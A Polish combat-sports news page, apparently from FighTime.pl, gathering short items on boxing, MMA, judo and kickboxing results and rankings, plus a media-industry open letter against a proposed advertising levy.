27 marca 2021 roku na długo zapadnie w pamięci Francisa Ngannou. 34-letni zawodnik cieszy się ze zdobycia pasa mistrzowskiego w wadze ciężkiej. – W końcu zdobyłem pas i pobędzie on ze mną trochę – zapewnia Ngannou.

„Marzenia się spełniają. Tylko mocno, mocno, mocno w nie wierz. Ściskaj kciuki co sił, oczy zamknij też. To nie ważne ile liczysz lat” – śpiewa Majka Jeżowska. Piosenka wpada w ucho i jest radosna, dodaje energii. Wiadomo, że po drodze do sukcesu pojawiają się porażki, chwile zwątpienia, kontuzje czy inne trudne sytuacje. Kluczowe jest to, aby nie poddawać się. Droga do sukcesu nie zawsze jest łatwa.

Podczas UFC 260 marzenia spełnił Francis Ngannou. 34-latek urodzony w Kamerunie miał okazję zrewanżować się Stipe Miocicowi za porażkę ze stycznia 2018 roku. Po tej walce Ngannou wygrał cztery pojedynki. Efektownie pokonał Curtisa Blaydesa, Caina Velasqueza, Juniora dos Santosa oraz Jairzinho Rozenstruika. Wszyskie starcia zawodnik posiadający francuskie obywatelstwo wygrywał w pierwszych rundach.

Przyszedł ten dzień. Ngannou w drugiej rundzie znokautował Miocica i sięgnął po tytuł mistrzowski UFC. – W końcu zdobyłem pas i pobędzie on ze mną trochę. To coś więcej niż pas, ale symbol nadziei i poświęcenia. Pokazuje jak daleko możesz zajść, jeśli wierzysz w siebie. Nie ma znaczenia, kiedy napotykasz przeszkody, a jest ich sporo po drodze. Możesz je pokonać i osiągnąć swój cel. Jedynym ograniczeniem jesteś Ty i nic więcej – tłumaczy w mediach społecznościowych mistrz wagi ciężkiej.

Ngannou podziękował za otrzymane wsparcie. – Z całego serca za pomoc w realizacji mojego marzenia, nawet w chwilach wyczerpania, za motywację w sytuacjach zmęczenia i za mobilizowanie, popychanie do przodu. Jesteśmy w tym razem i nie możecie od tego uciec. Dziękuję mojemu przeciwnikowi Stipe Miocicowi za bycie wielkim mistrzem, to był zaszczyt dzielić z tobą oktagon – napisał zawodnik, który podziękował także swojej ekipie i bliskim.

Fot. Francis N'Gannou Facebook

KM

Udany rewanż i koniec historii?

Gibraltar szczęśliwy dla Dilliana Whyte. 32-letni pięściarz urodzony na Jamajce zrewanżował się Aleksandrowi Powietkinowi za porażkę sprzed ponad pół roku i sięgnął po pas tymczasowego mistrza świata WBC w wadze ciężkiej. Czy to koniec tej rywalizacji? A może dojdzie do trzeciej walki?

22 sierpnia 2020 roku doświadczony Powietkin pokazał, że nadal może boksować na najwyższym poziomie. Co prawda w czwartej rundzie Rosjanin dwukrotnie leżał na deskach, ale nie raz pokazał swoją siłę. Tak było i tym razem. Wstał i boksował dalej. W piątej rundzie wyprowadził potężny cios i Whyte nie był w stanie kontynuować walki. Starcie dwóch mocnych pięściarzy, które miało być trampoliną i umocnić pozycję tego młodszego. Wiadomo, że Powietkin to pięściarz z ogromnym bagażem doświadczenia, ale też ciągną się za nim dopingowe wpadki. Pewne jest, że przyłożyć potrafi. Whyte chciał rewanżu, bo jeszcze kilka lat zamierza rywalizować na zawodowym ringu. Sytuacja w wadze ciężkiej jest ciekawa, a pokonanie Powietkina dałoby Brytyjczykowi spore możliwości.

27 marca br. Whyte był zdeterminowany i nie dał się zaskoczyć rywalowi. W zasadzie Powietkin stanowił tło dla swojego przeciwnika i w niczym nie przypominał siebie z pierwszego starcia. Widać było, że Whyte jest szybszy. W czwartej rundzie 32-latek słał w stronę Rosjanina kolejna ciosy aż ten w końcu padł na deski. Powietkin wstał, ale o kontynuowaniu walki nie było mowy.

Co dalej?

Były dwa starcia, więc mamy remis. Czy będzie trzecie? Whyte zdobył pas tymczasowego mistrza WBC i zapewne mierzy w wyższe cele. Promotor Andriej Riabiński zapowiada, że będzie starał się namówić Powietkina do zakończenia kariery. "Sasza" stoczył 40 zawodowych walk, z których 36 zakończyło się jego wiktorią.

Eddie Hearn już zaciera ręce i szykuje kolejne wyzwania dla Whyte'a. Promotor chciałby zestawić 32-letniego pięściarza z Deontayem Wilderem. Z kolei Whyte myśli o rywalizacji z czempionem WBA Trevorem Bryanem. Możliwości Whyte ma wiele, teraz karty są w jego ręku. Wrócił z dalekiej podróży i jest w grze w wadze ciężkiej, nikt nie może przejść obok niego obojętnie.

Ta trzecia walka Whyte – Powietkin gdzieś pobrzmiewa. Prezydent WBC Maurucio Sulaiman chciałby, żeby doszło do trylogii, ale jasno podkreśla, że jest to mało prawdopodobne. Pomarzyć zawsze można.

Fot. Materiały promocyjne

KM

25 milionów to za mało

Mike Tyson szykuje się do kolejnej walki. Legenda boksu nie zmierzy się z Evanderem Holyfieldem mimo oferty opiewającej na 25 milionów dolarów.

W sporcie na najwyższym poziomie gaże bywają niewyobrażalne. Wielu miłośników polskiego kina pamięta pewien cytat dotyczący znaczenia pieniędzy. Mówiąc krótko – nie są wszystkim, nie stanowią najważniejszej wartości. W takiej sytuacji można zrozumieć decyzję Mike'a Tysona, o której tu mówimy. Warto wspomnieć, że po piętnastu latach Amerykanin wrócił na ring. 28 listopada 2020 roku w Staples Center w Los Angeles "Żelazny Mike" zmierzył się z Royem Jonesem Juniorem w pokazowym starciu. Pojedynek zakończył się remisem.

Kilka dni temu były niekwestionowany mistrz świata w wadze ciężkiej ogłosił, że stoczy kolejną walkę. Tyson zaprezentuje się 29 maja w Hard Rock Stadium w Miami. Po tej informacji spekulowano, że dojdzie do walki dwóch legend. Tyson miałby zmierzyć się z Evanderem Holyfieldem. Tym samym doszłoby do trzeciego spotkania pięściarzy. A teraz cofamy się o… blisko 25 lata. 9 listopada 1996 roku Holyfield pokonał przed czasem Tysona, zaś w rewanżu trzy miesiące później "Bestia" odgryzł rywalowi kawałek ucha. 

Miłośnicy boksu zacierali ręce na myśli o trzeciej walce wielkich, choć wiekowych mistrzów. Wszystko wskazuje na to, że do starcia nie dojdzie. Ekipa Holyfielda przekazała o odrzuceniu przez Tysona oferty pojedynku, choć miałby zarobić gwarantowane 25 milionów dolarów.

Kto zatem będzie rywalem "Bestii? Tyson zmierzy się zapewne z Jamesem Toneyem, ale na oficjalne informacje należy poczekać. Czeka nas zatem pojedynek dwóch aktywnych 50-latków. Dla wielu kibiców będzie to kolejne piękne wspomnienie i możliwość zobaczenia w akcji tych, których podziwiali w młodości.

Fot. Mike Tyson Facebook

KM

Głowacki nie zdobył pasa

W Londynie lepszy okazał się Lawrence Okolie i to on został mistrzem świata WBO w wadze junior ciężkiej. Pas nie dla Krzysztofa Głowackiego, który w szóstej rundzie padł na deski.

Pięściarz z Wałcza stanął przed kolejną szansą na zdobycie tytułu mistrzowskiego. W sierpniu 2015 roku Głowacki pokonał Marco Hucka i zasiadł na szczycie wagi junior ciężkiej. Pas WBO stracił we wrześniu 2016 roku na rzecz Oleksandra Usyka. Potem Polak konsekwentnie pracował, aby wrócić na najwyższy poziom. Cztery zwycięstwa stały się przepustką do turnieju World Boxing Super Series. Tam pokonał Maksyma Własowa i sięgnął po tymczasowy pas mistrza WBO, jednak potem w kontrowersyjnych okolicznościach przegrał z Mairisem Briedisem. Sytuacja potoczyła się tak, że Łotysz porzucił pas, więc pozostał on do wzięcia. O tytuł mieli rywalizować Głowacki i Okolie. Do pojedynku doszłoby wcześniej, ale wiadomo, że w czasach pandemii koronawirusa wszystko w jednej chwili może się zmienić.

W końcu 20 marca o O2 Arenie w Londynie odbył się pojedynek o tytuł WBO. Okolie zaczął dyktować warunki w drugiej rundzie i budował swoją przewagę. Głowacki nie potrafił znaleźć sposobu, aby trafić Brytyjczyka. Polak nieco przyspieszył w trzeciej rundzie, ale bez wymiernego efektu. Okolie wykorzystał sytuację i dalej punktował rywala. Był przy tym precyzyjny, a w czwartej rundzie polski pięściarz zachwiał się na nogach. W szóstej odsłonie Okolie obijał Głowackiego i w końcu wyprowadził potężny prawy. Pięściarz z Wałcza padł na deski, wstał, ale sędzia przerwał pojedynek. Pas mistrza świata w rękach 28 Brytyjczyka, dla którego była to szesnasta wygrana w karierze. Głowacki przegrał po raz trzeci.

Szkoda zmarnowanej szansy, ale w duchu sportu – Okolie był po prostu lepszy. Aktywniejszy, skuteczniejszy, pewniejszy. Głowacki podjął wyzwanie, ale tym razem musiał uznać wyższość rywala. Bez żadnych wątpliwości. Bez porównania do pamiętnej rywalizacji z Briedisem.

Plany mistrza

Okolie znalazł się na szczycie i zdobył tytuł w efektowny sposób, dlatego też chce iść za ciosem. Bokser ma ambitne plany. Chciałby zmierzyć się z czempionem IBF Mairisem Briedisem. Mistrz WBO myśli również o rywalizacji z Ilungą Makabu, który na swoim koncie ma pas WBC.

Fot. Krzysztof Głowacki Facebook

KM

Sharks Attack #4 – in coming…

Sharks Attack – gala sportów walki wraca na scenę sportów walki!!! Już niebawem na antenie FighTime.pl – Telewizja sportów walki zobaczycie czwartą odsłonę. Na arenie walki w #Grudziądz zobaczymy wielu znanych i niezwykle zdolnych zawodników. Tomasz Sobczyński przygotowuje dla kibiców kolejną mocną kartę walk. Oj będzie się działo 🙂

Grand Slam Tel Aviv Judo 2021

Niespodzianką zakończyła się rywalizacja pierwszego dnia Judo Grand Slam Tel Aviv . W finale kategorii do 48 kg porażkę poniosła faworytka Daria Bilodid. W dodatkowym czasie uległa Francuzce #ShirinBoukli. Z Polaków najlepiej spisała się Julia Kowalczyk z Polonii Rybnik. Zawodniczka tego klubu najpierw miała wolny los. W drugiej rundzie pokonała Czeszkę Verę Zemanov, by za chwilę ulec Niemce Stoll. W repasażu Julia była lepsza od Wilsy Gomes (POR). W walce o brąz spotkała się z Gruzinką Eteri Liparteliani. Niestety tego dnia medal nie był pisany Julii i zakończyła rywalizację na Vm.

Wyniki pozostałych reprezentantów Polski:

Agata Perenc  – 0:1

Karolina Pieńkowska – 1:1

Anna Kuczera  – 1:1

Tomer Golomb – 0:1 

Marcin Najman vs Kuba Wojewódzki

Kuba Wojewódzki to jeden z najbardziej znanych dziennikarzy w Polsce. Przede wszystkim jednak to showman z wyszukanym poczuciem humoru, który często zadaje swoim gościom niewygodne pytania. W jego programie brali już udział m.in Mistrz Świata UFC Jan Błachowicz, Joanna Jędrzejczyk, Marcin ,,Różal" Różański i wielu wielu innych znanych i bardziej lub mniej lubianych. 
Program ,,Kuba Wojewódzki" jest niezwykle kontrowersyjny stąd pewnie udział Marcina Najmana sportowca którego również śmiało możemy zaliczyć do osobowości medialnych. 
Jak będzie wyglądać ich pierwsze face to face przed tym starciem? Sama jestem ciekawa, wszystkich którzy dzielą ze mną tę ciekawość zapraszam już w najbliższy wtorek na antenę TVN o godzinie 22:30. 
Nie mogło zabraknąć również trash talk, ale mamy go już dawno za sobą. Kuba często porównywał pewne zachowania swoich gości do Najmana, robił to ze swoim  oryginalnie ironicznym uśmiechem na ustach.
Jak będzie wyglądać ich walka na słowa? Zobaczymy już niebawem, póki co atmosferę podkręca autor programu na swoich mediach społecznościowych robiąc sobie zdjęcie z programową Wodziankom, która jest ubrana w popularną niebieską kurtkę ,,Najmanówkę", a pod fotografią widnieje takie zaproszenie na program: ,,Jest monodram Krystyny Jandy #białabluzka, jest koncert aktorski Janusza Gajosa w filmie #żółtyszalik. A ja zapraszam Was na spektakl."

Autor: Anna Kalinowicz

Foto: FanPage Marcin Najman 

 

Michał Andryszak na gali Fight Empire

Już w sylwestra poznaliśmy jednego z najważniejszych zawodników gali Fight Empire MMA . Dziś federacja potwierdziła udział Michał Andryszak w walce wieczoru. 

Jak podkreśla Lukasz Kieiwan  – współwłaściciel Federacji:

– Cały czas toczyły się rozmowy, ale już na spokojnie mamy to klepnięte. Michała zobaczymy w naszym oktagonie. Pierwsza gala już 8 maja 2021 r..

Babilon MMA #19

Weekend pod znakiem gal sportów walki. W piątek Babilon MMA 19 na wybitnym poziomie sportowym, a wyniki poniżej:

Kevin Szaflarski pokonał Filipa Stawowego decyzją sędziów (29-28, 29-28, 29-29)

Ekaterina Shakalova pokonała Różę Gumienną jednogłośną decyzją sędziów (30-25, 30-25, 30-26).

Kamil Kraska pokonał Mateusza Głucha przez TKO w pierwszej rundzie.

Marcin Kalata poddał Damiana Olszewskiego przez TKO w drugiej rundzie.

Piotr Kacprzak pokonał Huberta Lottę jednogłośną decyzją sędziów (29-27, 30-25, 30-25).

Karol Kutyła wygrał z Arturem Drążkiem jednogłośną decyzją sędziów (29-27, 30-27, 30-26).

Konrad Rusiński poddał ciosami w parterze Mateusza Sosnowskiego w pierwszej rundzie.

Walka semi-pro:

Grzegorz Rutkowski poddał Kacpra Tomaszewskiego przez poddanie (duszenie zza pleców) w trzeciej rundzie.

"Media bez wyboru"

Tu powinien być Twój ulubiony serwis internetowy

Dzisiaj wydajemy specjalną wersję serwisu w związku z akcją

„Media bez wyboru”.

Przepraszamy naszych użytkowników oraz partnerów handlowych.

Dziękujemy za zrozumienie i wsparcie.Przeczytaj nasz list otwarty:

List otwarty do władz Rzeczypospolitej Polskiej i liderów ugrupowań politycznych

Zwracamy się w sprawie zapowiadanego nowego, dodatkowego obciążenia mediów działających na polskim rynku, myląco nazywanego „składką”, wprowadzaną pod pretekstem Covid-19.

Jest to po prostu haracz, uderzający w polskiego widza, słuchacza, czytelnika i internautę, a także polskie produkcje, kulturę, sport oraz media.

Wprowadzenie go będzie oznaczać:

– osłabienie a nawet likwidację części mediów działających w Polsce, co znacznie ograniczy społeczeństwu możliwość wyboru interesujących go treści,

– ograniczenie możliwości finansowania jakościowych i lokalnych treści. Ich produkcja daje obecnie utrzymanie setkom tysięcy pracowników i ich rodzinom oraz zapewnia większości Polaków dostęp do informacji, rozrywki oraz wydarzeń sportowych w znaczącej mierze bezpłatnie,

– pogłębienie nierównego traktowania podmiotów działających na polskim rynku medialnym, w sytuacji, gdy media państwowe otrzymują co roku z kieszeni każdego Polaka 2 mld złotych, media prywatne obciąża się dodatkowym haraczem w wysokości 1 mld zł,

– faktyczne faworyzowanie firm, które nie inwestują w tworzenie polskich, lokalnych treści kosztem podmiotów, które w Polsce inwestują najwięcej. Według szacunków, firmy określane przez rząd jako „globalni cyfrowi giganci” zapłacą z tytułu wspomnianego haraczu zaledwie ok. 50 – 100 mln zł w porównaniu do 800 mln zł, jakie zapłacą pozostałe aktywne lokalne media.

Skandaliczne jest również niesymetryczne i selektywne obciążanie poszczególnych firm. Dodatkowo niedopuszczalna w państwie prawa jest próba zmiany warunków koncesyjnych w okresie ich obowiązywania.

Jako media działające od wielu lat w Polsce nie uchylamy się od ciążących na nas obowiązków i społecznej odpowiedzialności. Co roku płacimy do budżetu Państwa rosnącą liczbę podatków, danin i opłat (CIT, VAT, opłaty emisyjne, organizacje zarządzające prawami autorskimi, koncesje, częstotliwości, decyzje rezerwacyjne, opłata VOD itd.). Własną działalnością charytatywną wspieramy też najsłabsze grupy naszego społeczeństwa. Wspieramy Polaków, jak i rząd w walce z epidemią, zarówno informacyjnie, jak i przeznaczając na ten cel zasoby warte setki milionów złotych.

Zdecydowanie sprzeciwiamy się więc używaniu epidemii, jako pretekstu do wprowadzenia kolejnego, nowego, wyjątkowo dotkliwego obciążenia mediów. Obciążenia trwałego, które przetrwa epidemię Covid-19.

Sygnatariusze listu:

Agencja Wydawnicza AGARD Ryszard Pajura

Agora S.A.

AMS S.A.

Bonnier Business

Burda Media Polska

CANAL+

Dziennik Trybuna

Dziennik Wschodni

Edipresse Polska

Eleven Sports Network sp. z o.o.

Gazeta Radomszczańska

Green Content sp. z o.o.

Gremi Media S.A.

Grupa Eurozet

Grupa Interia.pl sp. z o.o.

Grupa Radiowa Agory sp. z o.o.

Grupa RMF

Grupa Wirtualna Polska

Grupa ZPR

Helios S.A.

Infor Biznes

Kino Polska TV S.A.

Lemon Records sp. z o.o.

Marshal Academy

Music TV sp. z o.o.

Muzo.fm sp. z o.o.

naTemat.pl

Polityka

Polska Press Grupa

Ringer Axel Springer Polska

STAVKA sp. z o.o.

Superstacja sp. z o.o.

Telewizja Polsat sp. z o.o.

Telewizja Puls sp. z o.o.

TIME S.A.

TV Spektrum sp. z o.o.

TVN S.A.

Tygodnik Powiatu Wołowskiego Kurier Gmin

Tygodnik Powszechny

Wydawnictwo Bauer

Wydawnictwo Dominika Księskiego Wulkan

Wydawnictwo Magraf

Wydawnictwo Nowiny

Zakopiańskie Towarzystwo Gospodarcze – Tygodnik Podhalański

Telewizja FighTime

Wybuch emocji

KSW 58 przeszło do historii, ale echem odbija się incydent po walce Shamila Musaeva z Urosem Jurisiciem. Takie sytuacje są niedopuszczalne.

Sportowa rywalizacja rodzi ogromne emocje. Jedni wygrywają, inni przegrywają, ale każdy zawodnik dąży do doskonałości, triumfu i stawania w blasku chwały. Trzeba jednak pamiętać, że podstawą sportowej rywalizacji jest wzajemny szacunek. Rzecz jasna, że tematem ostatnich godzin, a także i nadchodzących dni będzie pojedynek, do którego doszło podczas gali KSW 58 – Shamil Musaev vs Uros Jurisić.

Walka trwała trzy rundy. Sędziowie ocenili, że zwycięstwo należy się 27-letniemu Rosjaninowi. Werdykt, triumfator wznosi w górę ręce i rodzi się zamieszanie. Pewnie padły mocne słowa, strony zaczęły się przepychać, dyskutować, próbowali interweniować włodarze KSW, obecna była ochrona. Dynamiczna sytuacja i nagle… Jurisić ląduje na ziemi. Obalił go Musaev, a po chwili przy siatkce utworzyła się swego rodzaju kanapka. Każdy chciał bronić swego i doszło do ogromnej awantury.

Włodarze KSW zapowiadają, że zostaną wyciągnięte konsekwencje, jednak najpierw sprawa zostanie przeanalizowana. Jedno jest pewne – takie wydarzenie nie powinno mieć miejsca. Przede wszystkim mówimy o profesjonalnym sporcie, poważnej organizacji i zawodnikach, którzy mają doświadczenie w sportach walki. Krótko i zdecydowanie – to nie było podwórko. To nie było miejsce, gdzie dwaj poważni zawodnicy i ich ekipy mogą urządzać sobie bójkę. Takie sytuacje wymagają napiętnowania.

Szanowni Państwo, drodzy fani sportów walki – pragniemy emocji, wspaniałych walk, ale w tym wszystkim ważny jest duch sportu. Wiadomo, że obecnie możemy oglądać wydarzenia sportowe za pośrednictwem telewizji. Nie jest nam dane być w hali ze względu na obostrzenia. To jednak ma drugorzędne znaczenie. Chodzi o zwrócenie uwagi na pewną subtelność. Zapewne galę oglądali młodzi ludzie, ba w części byli to adepci sztuk walki. Patrzyli na zawodników, których podziwiają, a dostali pokaz zachowania poniżej krytyki.

Ważnym aspektem jest również kwestia bezpieczeństwa. Musaev obalił Jurisicia, a potem utworzyła się kula ludzi. W takiej sytuacji można komuś wyrządzić krzywdę. Wyraźnie widać, że wtedy rozum nie był na pierwszym miejscu.

Można wszystko tłumaczyć charakter zawodnika, osób wchodzących w jego team, ale jest to banalne. W profesjonalnym sporcie ważny jest szacunek. Można mieć wątpliwości, nie zgadzać się z werdyktem albo mieć uwagi do sędziego, ale należy podać sobie rękę. Sprawę można wyjaśnić w kulturalny sposób. 

Zobaczymy jakie konsekwencje wyciągną włodarze KSW po zaistniałej sytuacji. Dla takich zachowań powinno jasno wybrzemieć stanowcze: NIE.

Fot. zdjęcie poglądowe

KM

Usyk musi poczekać

Oleksandr Usyk zdominował wagę junior ciężką, a teraz chce podbić królewską. Powinien walczyć z Anthonym Joshuą, jednak ten negocjuje z Tysonem Fury'm. Pięściarz z Ukrainy musi trochę poczekać na swoją szansę.

Ponad cztery lata temu mieliśmy okazję poznać Usyka nieco bliżej. Przyjechał do gdańskiej Ergo Areny, aby zmierzyć się z Krzysztofem Głowackim o pas mistrza świata federacji WBO. Ukraiński pięściarz okazał się lepszy i wygrał jednogłośnie na punkty. Była to dopiero dziesiąta zawodowa walka Usyka. Potem pokonał jeszcze Thabiso Mchunu i Michaela Huntera. Wiadomo było, że Usyk to silny pięściarz, który ma ogromne możliwości. Bokserski świat podbił wygrywając turniej World Boxing Super Series. Rozbił w pył czołowych pięściarzy swojej kategorii – Marco Hucka, Mairisa Briedisa i Murata Gassijewa. Tak się stało, że rywalizację kończył z pasami WBO, WBC, WBA i IBF na koncie. Zdobył wszystko, co mógł. Potem obronił tytuły w pojedynku w Tony'm Bellewem i przeniósł się do wagi ciężkiej.

Debiut Usyka w kategorii królewskiej nieco się przeciągnął z powodu urazu bicepsa. Kolejną walkę ukraiński bokser stoczył blisko 11 miesięcy od starcia z Bellewem. W siódmej rundzie odprawił Chazza Witherspoona. Następnie spotkał się z doświadczonym Dereckiem Chisorą i wygrał jednogłośnie na punkty, co dało mu tytuł WBO Inter-Continental. 34-letni pięściarz wychodzi na pierwszy plan wagi ciężkiej. Nie jest jeszcze gwiazdą, ale robi wszystko, aby posiadać ten status. W wadze ciężkiej pojawił się gracz, z którym trzeba się liczyć, bo de facto może namieszać w stawce.

Usyk ma status obowiązkowego pretendenta do pasa WBO i to on powinien walczyć z Joshuą. Jednak sprawa wygląda tak, że "AJ" spotka się z Tysonem Fury, a Usyk cierpliwie poczeka. W międzyczasie zmierzy się z Joe Joyce'm, który jest drugi w rankingu WBO. Prawdopodobnie do pojedynku dojdzie w połowie maja, a triumfatorem będzie obowiązkowym rywalem

dla zwycięzcy starcia Joshua vs Fury.
Usyk za walkę z Joyce'm ma zarobić pięć milionów dolarów. Co ciekawe, pięściarze mieli okazję rywalizować ze sobą w czasach boksu amatorskiego. W pięciorundowym pojedynku lepszy okazał się Usyk.

Fot. Александр Усик / Usyk

KM

Krok do wielkiej walki

Walka Anthony'ego Joshuy z Tysonem Fury'm coraz bliżej. Projekt umowy jest gotowy, teraz czas na poprawki i podpisy.

Nie ma, co ukrywać, że szukujemy się na gigantyczny pojedynek. Walka 2021 roku – tak bez wątpienia patrzymy na potencjalne starcie Joshuy z Fury'm. Wiadomo, że temperatura jest ogromna, ale trzeba jeszcze zachować spokój. Sprawa jest na etapie formalnym, choć widać postępy, jednak pamiętajmy o sytuacji w jakiej żyjemy. Pandemia koronawirusa niejednokrotnie pokrzyżowała plany, także bierzemy to pod uwagę, ale jesteśmy optymistami i szykujemy się na bokserskie emocje na najwyższym poziomie.

O tym, że musi dojść do tego pojedynku było wiadomo. W styczniu sprawa nabrała tempa. Pojawiły się informacje, że Joshua i Fury mogą otrzymać po 100 milionów dolarów na głowę. Prawdopodobnie w kontrakcie znajdzie się zapis o pojedynku rewanżowym. Warto jeszcze wspomnieć o lokalizacji starcia. Nie będzie to Wielka Brytania. Wszystko wskazuje na to, że walka o panowanie wagi ciężkiej odbędzie się w jendym z krajów Bliskiego Wschodu.

Czas na konkrety i przedstawienie obecnej sytuacji. Szkic umowy jest gotowy i trafił do Boba Aruma. Teraz czas na analizę dokumentu, ewentualne uwagi i naniesienie poprawek. Co istotne – drobnych. Ponoć najważniejsze kwestie zostały już ustalone, w tym podział pieniędzy oraz sprawy związane z transmisją telewizyjną. Zatem pozostaje zacierać ręce i czekać na podpisanie kontraktu. Eddie Hearn, szef Marchroom Boxing, liczy, że nastąpi to w ciągu dwóch tygodni. Jakby tak realnie patrzeć to może będziemy świadkami swoistych walentynkowych podpisów. A tak poważnie – czekamy z niecierpliwością. Walka tytanów zelektryzuje cały świat. Tak dla pewności – powinna, a jak będzie – życie pokaże.

Joshua ostatnio boksował w grudniu. W Londynie w dzięwiątej rundzie odprawił Kubrata Pulewa i obronił pasy WBO, IBF, WBA oraz IBO. Fury walczł blisko rok temu. W siódmej rundzie pokonał Deontaya Wildera i  sięgnął po tytuł WBO.

Fot. Anthony Joshua Facebook

KM

TOP 5 Kickboxing 2020 – K-1 Amator (Woman)

Miło nam poinformować, że zdaniem Redakcji FighTime.pl – Telewizja sportów walki najlepszą zawodniczką amatorskiego K1 w roku ubiegłym została: #EwaPietrzkowska Wielkie gratulacje !!!

Na kolejnych miejscach :

2. Kamila Bałanda_oficjalna strona

3. Basia Nalepka

4. Pola Olivia Rogala

5. Paulina Magdalena Saczuk

Wszystkim serdecznie gratulujemy, a już jutro zaprezentujemy kolejne zestawienie. Tym razem na warsztat wzięliśmy najlepszą zawodową walkę K1 (zawodowcy) #TOP5KICKBOXING Men Professional.

Sponsorem nagród: Masters Fight Equipment

Nasz ranking powstał po analizie wyników osiągniętych w 2020 roku, a także po szerokiej konsultacji z Polski Związek Kickboxingu.

TOP 5 Kickboxing 2020 – K-1 Professional (Woman)

Najlepszą zawodniczką K1 Professional została Emilia Czerwińska. Ta niezwykle sympatyczna wojowniczka zdaniem Redakcji FighTime.pl – Telewizja sportów walki najlepiej radziła sobie w 2020 roku. Wielkie gratulacje !!! Nasz ranking powstał po analizie wyników osiągniętych w 2020 roku, a także po szerokiej konsultacji z Polski Związek Kickboxingu

Na kolejnych miejscach :

2. Martyna Kierczyńska

3. Marta Waliczek

4. Basia Nalepka

5. Marta Chojnoska

Wszystkim serdecznie gratulujemy, a już jutro zaprezentujemy kolejne zestawienie. Tym razem na warsztat wzięliśmy najlepszych zawodników kickboxingu amatorskiego K1 #TOP5KICKBOXING Men Amateur Polski Związek Kickboxingu

Sponsorem nagród: Masters Fight Equipment

TOP 5 Kickboxing 2020 – K-1 Amator (Man)

Czas najwyższy przejść do wyróżnień w amatorskim K1. Wśród mężczyzn w 2020 roku zdaniem Redakcji FighTime.pl – Telewizja sportów walki najlepiej walczył i zwyciężał: #MichałBławdziewicz Wielkie gratulacje !!!

Na kolejnych miejscach:

2. Damian Piskorz

3. Piotr Stępień

4. Robert Soboń

5. Dominik Kaleta

Wszystkim serdecznie gratulujemy, a już jutro zaprezentujemy kolejne zestawienie. Tym razem na warsztat wzięliśmy najlepsze zawodniczki kickboxingu amatorskiego K1 #TOP5KICKBOXING Women Amateur

Sponsorem nagród :Masters Fight Equipment

Nasz ranking powstał po analizie wyników osiągniętych w 2020 roku, a także po szerokiej konsultacji z Polski Związek Kickboxingu.

.

Ustawiła się kolejka chętnych

Pokonując Conora McGregora, Dustin Poirier znalazł się na ustach wszystkich. Teraz przed 32-letnim zawodnikiem następne wyzwania i kolejka chętnych.

Gdy pokonasz prawdziwą gwiazdę, wielkiego mistrza stajesz na pierwszym planie. Tłumy biją ci brawo, wszyscy gratulują. Najkrócej – budzisz podziw, szacunek i stajesz się dla innych punktem odniesienia.
 

Swego czasu Conor McGregor był twarzą UFC. Irlandczyk miał na swoim koncie tytuły mistrzowskie w wadze piórkowej i lekkiej. Po roku nieobecności wrócił, aby spotkać się z Dustinem Poirierem. W tym zestawieniu McGregor uchodził za gwiazdę, ale nie było powiedziane, że Amerykanin stoi na straconej pozycji. Poirier w drugiej rundzie kopał rywala, czym go wyraźnie osłabił, a następnie zasypał go ciosami. Irlandczyk padł na ziemię, a tam Amerykanin postawił kropkę nad "i". Dla McGregora była to pierwsza porażka przed czasem w karierze! Z kolei Poirier zrewanżował się za przegraną z września 2014 roku.

Wygrywasz, a więc inni chcą cię poskromić. Tak jest w przypadku Poiriera. Chęć walki z Amerykaninem wyraził Charles Oliveira. – Mam nadzieję, że niebawem się zobaczymy. Jeszcze raz gratulacje za ostatni występ – napisał na Twitterze 31-letni Brazylijczyk.

Akces do rywalizacji z Poirierem zgłosił również Michael Chandler. Jego lista jest nieco dłuża. Chandler wśrod potencjalnych rywali wymienił również Conora McGregora i Khabiba Nurmagomedova. Gotowy do pojedynku z Poirierem jest Nate Diaz. Co warto dodać, gratulację 32-latkowi za pokonanie McGregora złożył Justin Gaethje.

32-letni Poirier odniósł 27 zwycięstwo w karierze. Teraz może spijać śmietankę i cieszyć się z triumfu. Potem czas na ciężką pracę, a co za tym idzie – sportowe wyzwania. Może trylogia z McGregorem? Sam Poirier wskazuje, że jednym z jego rywali mógłby być Nate Diaz. Jedno jest pewne – wokół kolejnej walki Amerykanina będzie gorąco.

Fot. Dustin Poirier Facebook

KM

TOP 5 Kickboxing 2020 – K-1 Professional (Man)

Miło nam poinformować, że zdaniem Redakcji FighTime.pl – Telewizja sportów walki najlepszymi zawodnikami zawodowego K-1 w roku ubiegłym są ….. (tu fanfary) Dominik Zadora Fanpage oraz Kacper Frątczak.

Nasz ranking powstał po analizie wyników osiągniętych w 2020 roku, a także po szerokiej konsultacji z Polski Związek Kickboxingu.

Na kolejnych miejscach :
2. Rafał Dudek
3. Łukasz Pławecki
4. Michał Turyński
5. Wojciech Wierzbicki

Wszystkim serdecznie gratulujemy, a już jutro zaprezentujemy kolejne zestawienie. Tym razem na warsztat wzięliśmy najlepsze zawodniczki kickboxingu K-1 (zawodowcy) #TOP5KICKBOXING Women Professional Polski Związek Kickboxingu.

Sponsorem nagród: Masters Fight Equipment

Sulęcki, Masternak, Bednarek trenują w Zakopanem.

Mimo trudnych warunków epidemicznych, nie da się osiągać świetnych wyników bez ciężkiego treningu. A gdzie o takie najlepiej? W stolicy Tatr czyli w Zakopanem. Tam też udało się wielu wybitnych pięściarzy, którzy trenują pod czujnym okiem Piotra Wilczewskiego. Ten znany sympatykom boksu, czołowy trener w Polsce a także właściciel Dzierżoniowskiego Klubu Bokserskiego, ma dobrą rękę do szkolenia i wyciskania siódmych potów z zawodników.

Jedenastodniowy obóz to przeplatanie zajęć technicznych, sparingów z biegami między innymi na Morskie Oko oraz treningami siłowymi, czyli to co „Tygrysy” lubią najbardziej. W zgrupowaniu biorą udział zawodnicy przygotowujący się do Mistrzostw Polski Juniorów oraz doświadczeni zawodnicy, rozpoznawalni nie tylko w kraju, ale również na świecie, którzy z kolei szykują się do startów na galach zawodowych. W Zakopanem obecność swoją potwierdzili Maciej "Striczu" Sulęcki, Mateusz Masternak, Kamil Bednarek, Michał ,,Szczupson" Leśniak, Kamil Łaszczyk , Błażej Nowak , Patryk Adasiewicz , Kuba Sulęcki , Marcel Sztafa, a więc młodość i doświadczenie. Ta mieszanka „wybuchowa” niewątpliwie może nas miło zaskoczyć w nadchodzącym sezonie.

Z informacji, które udało się uzyskać naszej redaktor Anna Kalinowicz pięściarzom dopisują świetne nastroje, co też widać po wpisach w mediach społecznościowych, a ciężkie warunki pogodowe hartują charakter zawodników.

Głowacki o pas, ale nie tylko

